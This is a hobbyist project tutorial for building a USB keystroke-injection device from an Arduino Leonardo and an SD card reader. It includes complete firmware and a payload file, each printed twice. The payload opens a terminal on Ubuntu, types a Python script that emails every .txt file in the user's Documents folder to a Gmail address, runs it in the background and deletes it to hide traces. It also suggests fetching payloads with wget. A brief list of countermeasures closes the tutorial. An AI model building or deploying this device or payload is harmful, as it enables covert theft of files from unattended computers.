Project tutorial
Arduino Keyboard Exploit Demo (HID) and Prevention

Arduino Keyboard Exploit Demo (HID) and Prevention © GPL3+

In this project we're going to use an Arduino Leonardo to simulate a possible USB attack using HID (human interface device).

  • 2,025 views
  • 5 comments
  • 13 respects

Components and supplies

About this project

In this project we're going to use an Arduino Leonardo to simulate a possible USB attack using HID (humain interface device).

I've created this tutorial not to help hackers but to show you some real dangers and how to protect your selves from those dangers. This device it's not a device that can be used on any platform for hackers, it's more of a proof of concept in detail.

We're going to learn the following:

  • how to use arduino leonardo to emulate keyboard
  • how to read data from SD cards
  • how to create a python script that scans files and emails them
  • how to protect your selves from USB hacking devices

Step 1: Materials

Parts:

1. Arduino leonardo

2. micro USB card reader

3. a few GB SD card

4. pushbutton like this one (VCC, Ground and signal)

5. female-male and female-female jumper cables

6. micro USB to USB cable

Step 2: Building the Device

Before the building instruction let's review the working principle:

Arduino leonardo can behave like a human interface device (HID) and therefore can emulate mouse and keyboard. We're going to use this feature to open a terminal (in UBUNTU linux) and write a small script that will access /Documents folder inside the user home folder copy.txt files there and email them to someone. If you want to find out more details check the next step.

Because it's a demo device things are really simple, we're not going to solder anything.

Building instructions

Before we get started check the attached files, i've attached fritzing schematics, and all the necessary files

1. Assemble the components:

* plug the micro USB cable in the arduino

* connect the key switch to the arduino (ground, vcc and out module to D8)

* connect the card reader to the arduino (using ICSP header). Arduino leonardo doesn't have the ICSP header connected to digital pins so you'll need to connect the card reader to the ICSP header. You can find some drawings of the ICSP here: https://learn.sparkfun.com/tutorials/installing-an.... Connect the SS pin to the digital pin 10

2. get the arduino code, you can clone my arduino repository on github: https://github.com/danionescu0/arduino and go to projects/keyboard_exploit or get it from below:

#include "Keyboard.h"
#include "SPI.h"
#include "SD.h"
String filenameOnCard = "hack.txt";
String sleepCommandStartingPoint = "Sleep::";
String commandStartingPoint = "Command::";
int delayBetweenCommands = 10;
const int buttonPin = 8;   
const int chipSelect = 10;       
int previousButtonState = HIGH;  
void setup() {
    pinMode(buttonPin, INPUT);
    Serial.begin(9600);
    Keyboard.begin();
    if (!SD.begin(chipSelect)) {
        Serial.println("Card failed, or not present!");
        return;
    }
}
void loop() {
    int buttonState = digitalRead(buttonPin);
    if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
      sdFileToKeyboard();
      Serial.println("Uploaded!");
      delay(500);
    }
    previousButtonState = buttonState;
}
void sdFileToKeyboard() {
    File dataFile = SD.open(filenameOnCard);
    if (!dataFile) {
      Serial.println("The specified filename is not present on SD card, check filenameOnCard !");
    }
    String line;
    while (dataFile.available()) {
        line = dataFile.readStringUntil('\n');
        Serial.println(line);
        sendToKeyboard(line);
    }
    dataFile.close();
}
void sendToKeyboard(String line) {
    String workingLine = line;
    if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {
        sleepFor(line);
        return;      
    }
    if (workingLine.indexOf(commandStartingPoint) == -1) {
        Serial.print("Text:");Serial.println(line);
        Keyboard.println(line);
        pressEnter();
        return;        
    }    
    Serial.println("Command:");
    int charPosition = commandStartingPoint.length();
    int lineLength = line.length();
    workingLine += ",";
    
    while (workingLine != "") {
        workingLine = workingLine.substring(charPosition);
        Serial.print("WorkingLine:");Serial.println(workingLine);
        int specialCommandDelimiterPosition = workingLine.indexOf(",");
        String command = workingLine.substring(0, specialCommandDelimiterPosition);
        charPosition = specialCommandDelimiterPosition + 1;
        if (command != "") {
            Serial.print("Command found:");Serial.println(command);
            Keyboard.press(getCommandCode(command));
            delay(delayBetweenCommands);
        }
    }
    Keyboard.releaseAll();
    delay(delayBetweenCommands);
}
void pressEnter() {
    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
}
void sleepFor(String line) {
    int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
    Serial.print("Sleeping for:");Serial.println(sleepAmount);
    delay(sleepAmount);
}
char getCommandCode(String text) {
    char textCharacters[2]; 
    text.toCharArray(textCharacters, 2);
    char code = textCharacters[0];
    
    code = (text == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL : code;
    code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT : code;
    code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code;
    code = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code;
    code = (text == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW : code;
    code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW : code;
    code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code;
    code = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code;
    code = (text == "KEY_BACKSPACE") ? KEY_BACKSPACE : code;
    code = (text == "KEY_TAB") ? KEY_TAB : code;
    code = (text == "KEY_RETURN") ? KEY_RETURN : code;
    code = (text == "KEY_ESC") ? KEY_ESC : code;
    code = (text == "KEY_INSERT") ? KEY_INSERT : code;
    code = (text == "KEY_DELETE") ? KEY_DELETE : code;
    code = (text == "KEY_PAGE_UP") ? KEY_PAGE_UP : code;
    code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN : code;
    code = (text == "KEY_HOME") ? KEY_HOME : code;
    code = (text == "KEY_END") ? KEY_END : code;
    code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK : code;
    code = (text == "KEY_F1") ? KEY_F1 : code;
    code = (text == "KEY_F2") ? KEY_F2 : code;
    code = (text == "KEY_F3") ? KEY_F3 : code;
    code = (text == "KEY_F4") ? KEY_F4 : code;
    code = (text == "KEY_F5") ? KEY_F5 : code;
    code = (text == "KEY_F6") ? KEY_F6 : code;
    code = (text == "KEY_F7") ? KEY_F7 : code;
    code = (text == "KEY_F8") ? KEY_F8 : code;
    code = (text == "KEY_F9") ? KEY_F9 : code;
    code = (text == "KEY_F10") ? KEY_F10 : code;
    code = (text == "KEY_F11") ? KEY_F1 : code;
    code = (text == "KEY_F12") ? KEY_F2 : code;</p><p>    return code;
}

3. Upload the code to the arduino, be sure to select 9600 baud rate, the serial port and arduino leonardo

4. Format the sd card using FAT16 or FAT32

5. If you cloned the github repo from above, copy the hack.txt file on the card, if not the file is listed below:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500
vi hack.py
Sleep::300
Command::KEY_INSERT
import smtplib
import glob, os
from os.path import expanduser
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoderssmtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password'
to_address = 'receiver_address'
scan_documents_location = 'Documents'subject = body = 'Files from hacked computer'
header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):
    msg = MIMEMultipart()
    msg['From'] = smtp_user
    msg['To'] = COMMASPACE.join(to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject
    msg.attach(MIMEText(text))
    for file in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(file,"rb").read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"'
                       % os.path.basename(file))
        msg.attach(part)    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(smtp_user, smtp_pass)
    server.sendmail(smtp_user, to, msg.as_string())
    server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))
Sleep::50
Command::KEY_ESC
Sleep::100
:x
Sleep::500
nohup python hack.py &
Sleep::700
rm -rf hack.py
Sleep::400
Command::KEY_LEFT_ALT,KEY_F4

6. Edit the following lines:

smtp_user = 'sender_email_addr'
smtp_pass = 'sender_password'
to_address = 'receiver_address'

And replace with your email addresses

7. Remove the card and insert it into the arduino card reader

Step 3: How It Works in Details

How the attack will work:

1. When the button is pressed, the leonardo will read the sd card using a sd card reader. A special file containing keys and key combination will be present on the card. The file name is "hack.txt".

The file can contain raw text, and it will passed to the keyboard just as it is.

Also it can contain special commands like "Sleep::" and "Command::".

A line like:

Sleep::200 means a sleep of 200 ms

A line like:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, t means left ctrl pressed, left alt pressed, t pressed and all released

You can check all special keys here: https://www.arduino.cc/en/Reference/KeyboardModif...

2. Leonardo will read line by line, and interpret the commands and emulate the keys on the keyboard. The file "hack.txt" contains a combination of keys that does the following (for UBUNTU linux):

a. opens a terminal (CTRL + ALT + T)

b. opens a python file for creation using vi (writes "vi hack.py"

c. writes a python script inside that collects all text files inside of documents home folder and sends them over to a specified gmail address

d. runs the file in the background ("nohup python hack.py &")

e. deletes the file (rm -rf hack.py)

f. closes the terminal (ALT + F4)

This whole thing runs in a few seconds and doesn't leave traces.

Enhancements and troubleshooting

* You may noticed that after i'm opening a terminal i'm writing the python file. a better way to to it will be to host it somewhere and download it using "wget some_url" command, then rename it into hack.py

* Also we can download or run a ready made exploit for the targeted operating system

* wifi can be added to the module, and the hacks can be uploaded via WIFI

* you can use arduino micro (which is much smaller) and embed exploit code on it ( to make it smaller )

Limitations

1. Because the simulated device (keyboard and mouse) doesn't have any feedback we don't know what will happen after issuing a command that means we need to use delays. For example i'm issuing a command to open terminal, but I don't know when it will be actually open, so I need to specify an arbitrary delay to ensure the characters typed after will not be lost.

2. We may encounter permission problems like not having access to the USB port or the permission to install something

3. The typing speed it's not that great on leonardo

4. Will work on only a targeted operating system (in our case UBUNTU linux)

In the next step will try to find ways to exploit this limitations to prevent our computer from being hacked

Step 4: Countermeasures

1. Disabling USB ports

- for windows you can check this tutorial: http://www.thewindowsclub.com/disable-enable-usb-w...

2. Whitelist USB devices:

- for windows: https://superuser.com/questions/1152012/block-unbl...

2. Lock your computer when your're not away

3. Don't login as root (require passwords for installing anything)

4. Keep your self up to date (automatic updates on)

Code

keyboard_exploit.inoArduino
Error opening file.
Code snippet #1Plain text
#include "Keyboard.h"

#include "SPI.h"
#include "SD.h"

String filenameOnCard = "hack.txt";
String sleepCommandStartingPoint = "Sleep::";
String commandStartingPoint = "Command::";
int delayBetweenCommands = 10;
const int buttonPin = 8;   
const int chipSelect = 10;       
int previousButtonState = HIGH;  

void setup() {
    pinMode(buttonPin, INPUT);
    Serial.begin(9600);
    Keyboard.begin();
    if (!SD.begin(chipSelect)) {
        Serial.println("Card failed, or not present!");
        return;
    }
}

void loop() {
    int buttonState = digitalRead(buttonPin);
    if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
      sdFileToKeyboard();
      Serial.println("Uploaded!");
      delay(500);
    }
    previousButtonState = buttonState;
}

void sdFileToKeyboard() {
    File dataFile = SD.open(filenameOnCard);
    if (!dataFile) {
      Serial.println("The specified filename is not present on SD card, check filenameOnCard !");
    }
    String line;
    while (dataFile.available()) {
        line = dataFile.readStringUntil('\n');
        Serial.println(line);
        sendToKeyboard(line);
    }
    dataFile.close();
}

void sendToKeyboard(String line) {
    String workingLine = line;
    if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {
        sleepFor(line);
        return;      
    }
    if (workingLine.indexOf(commandStartingPoint) == -1) {
        Serial.print("Text:");Serial.println(line);
        Keyboard.println(line);
        pressEnter();
        return;        
    }    

    Serial.println("Command:");
    int charPosition = commandStartingPoint.length();
    int lineLength = line.length();
    workingLine += ",";
    
    while (workingLine != "") {
        workingLine = workingLine.substring(charPosition);
        Serial.print("WorkingLine:");Serial.println(workingLine);
        int specialCommandDelimiterPosition = workingLine.indexOf(",");
        String command = workingLine.substring(0, specialCommandDelimiterPosition);
        charPosition = specialCommandDelimiterPosition + 1;
        if (command != "") {
            Serial.print("Command found:");Serial.println(command);
            Keyboard.press(getCommandCode(command));
            delay(delayBetweenCommands);
        }
    }
    Keyboard.releaseAll();
    delay(delayBetweenCommands);
}

void pressEnter() {
    Keyboard.press(KEY_RETURN);
    Keyboard.releaseAll();
}

void sleepFor(String line) {
    int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();
    Serial.print("Sleeping for:");Serial.println(sleepAmount);
    delay(sleepAmount);
}

char getCommandCode(String text) {
    char textCharacters[2]; 
    text.toCharArray(textCharacters, 2);
    char code = textCharacters[0];
    
    code = (text == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL : code;
    code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT : code;
    code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code;
    code = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code;
    code = (text == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW : code;
    code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW : code;
    code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code;
    code = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code;
    code = (text == "KEY_BACKSPACE") ? KEY_BACKSPACE : code;
    code = (text == "KEY_TAB") ? KEY_TAB : code;
    code = (text == "KEY_RETURN") ? KEY_RETURN : code;
    code = (text == "KEY_ESC") ? KEY_ESC : code;
    code = (text == "KEY_INSERT") ? KEY_INSERT : code;
    code = (text == "KEY_DELETE") ? KEY_DELETE : code;
    code = (text == "KEY_PAGE_UP") ? KEY_PAGE_UP : code;
    code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN : code;
    code = (text == "KEY_HOME") ? KEY_HOME : code;
    code = (text == "KEY_END") ? KEY_END : code;
    code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK : code;
    code = (text == "KEY_F1") ? KEY_F1 : code;
    code = (text == "KEY_F2") ? KEY_F2 : code;
    code = (text == "KEY_F3") ? KEY_F3 : code;
    code = (text == "KEY_F4") ? KEY_F4 : code;
    code = (text == "KEY_F5") ? KEY_F5 : code;
    code = (text == "KEY_F6") ? KEY_F6 : code;
    code = (text == "KEY_F7") ? KEY_F7 : code;
    code = (text == "KEY_F8") ? KEY_F8 : code;
    code = (text == "KEY_F9") ? KEY_F9 : code;
    code = (text == "KEY_F10") ? KEY_F10 : code;
    code = (text == "KEY_F11") ? KEY_F1 : code;
    code = (text == "KEY_F12") ? KEY_F2 : code;</p><p>    return code;
}
Code snippet #2Plain text
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500
vi hack.py
Sleep::300
Command::KEY_INSERT
import smtplib
import glob, os
from os.path import expanduser
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoderssmtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password'
to_address = 'receiver_address'
scan_documents_location = 'Documents'subject = body = 'Files from hacked computer'
header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):
    msg = MIMEMultipart()
    msg['From'] = smtp_user
    msg['To'] = COMMASPACE.join(to)
    msg['Date'] = formatdate(localtime=True)
    msg['Subject'] = subject
    msg.attach(MIMEText(text))
    for file in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(file,"rb").read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"'
                       % os.path.basename(file))
        msg.attach(part)    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(smtp_user, smtp_pass)
    server.sendmail(smtp_user, to, msg.as_string())
    server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))
Sleep::50
Command::KEY_ESC
Sleep::100
:x
Sleep::500
nohup python hack.py &
Sleep::700
rm -rf hack.py
Sleep::400
Command::KEY_LEFT_ALT,KEY_F4
Github
https://github.com/danionescu0/arduino

Schematics

Fritzing schematic image
Sketch bb e9ivvapgjh
Fritzing schematic
sketch_D4S1ftXkTU.fzz
Arduino repository
The sketch is inside projects/keyboard_exploit

Comments

Similar projects you might like

Electronic Piano Keyboard With Preset Songs

Project tutorial by Lindsay Fox

  • 79,221 views
  • 60 comments
  • 158 respects

A Pocket-Sized Touch Keyboard

Project tutorial by Amal Mathew

  • 3,587 views
  • 3 comments
  • 15 respects

Wireless Keyboard from TV Remote

Project tutorial by Amal Mathew

  • 3,121 views
  • 2 comments
  • 15 respects

How to Make a Customizable Punchable Keyboard Button

Project tutorial by Amal Mathew

  • 3,026 views
  • 7 comments
  • 9 respects

Keyboard Melodies

Project tutorial by Ava Baker -21 and Natalie Clark -20

  • 2,237 views
  • 2 comments
  • 9 respects

Prevention of heart attack

Project tutorial by Mahdi Hajebi

  • 9,606 views
  • 5 comments
  • 20 respects
Add projectSign up / Login